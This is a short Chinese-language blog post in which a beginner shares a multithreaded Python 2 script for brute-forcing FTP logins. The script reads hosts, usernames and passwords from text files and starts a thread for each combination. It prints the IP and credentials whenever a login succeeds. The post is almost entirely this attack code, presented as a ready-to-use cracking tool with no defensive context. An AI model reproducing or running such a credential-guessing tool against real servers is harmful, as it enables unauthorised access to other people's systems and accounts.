Python FTP多线程爆破脚本

初学python, 自己编写了个FTP多线爆破小脚本
代码很丑= =

#!usr/bin/env python
#!coding=utf-8 __author__='zhengjim' from ftplib import FTP
import ftplib
from threading import Thread def Login(host,username,password):
ftp=FTP()
try:
ftp.connect(host,21,1)
ftp.login(username,password)
ftp.retrlines('LIST')
ftp.quit()
print '破解成功,用户名:' + username +',密码:' + password + ',IP:'+ host
return True
except ftplib.all_errors:
pass host=open('host.txt')
for line in host:
host=line.strip('\n')
print '破解主机:' + host
user=open('user.txt')
for line in user:
user=line.strip('\n')
pwd=open('pwd.txt','r')
for line in pwd:
pwd=line.strip('\n')
t=Thread(target=Login,args=(host,user,pwd))
t.start()

目录下需要host.txt,user.txt ,pwd.txt三个文件。

还需努力!!

上一篇:自动部署Springboot项目脚本小脚本


下一篇:PS(photoshop)里A4纸张的像素是多大?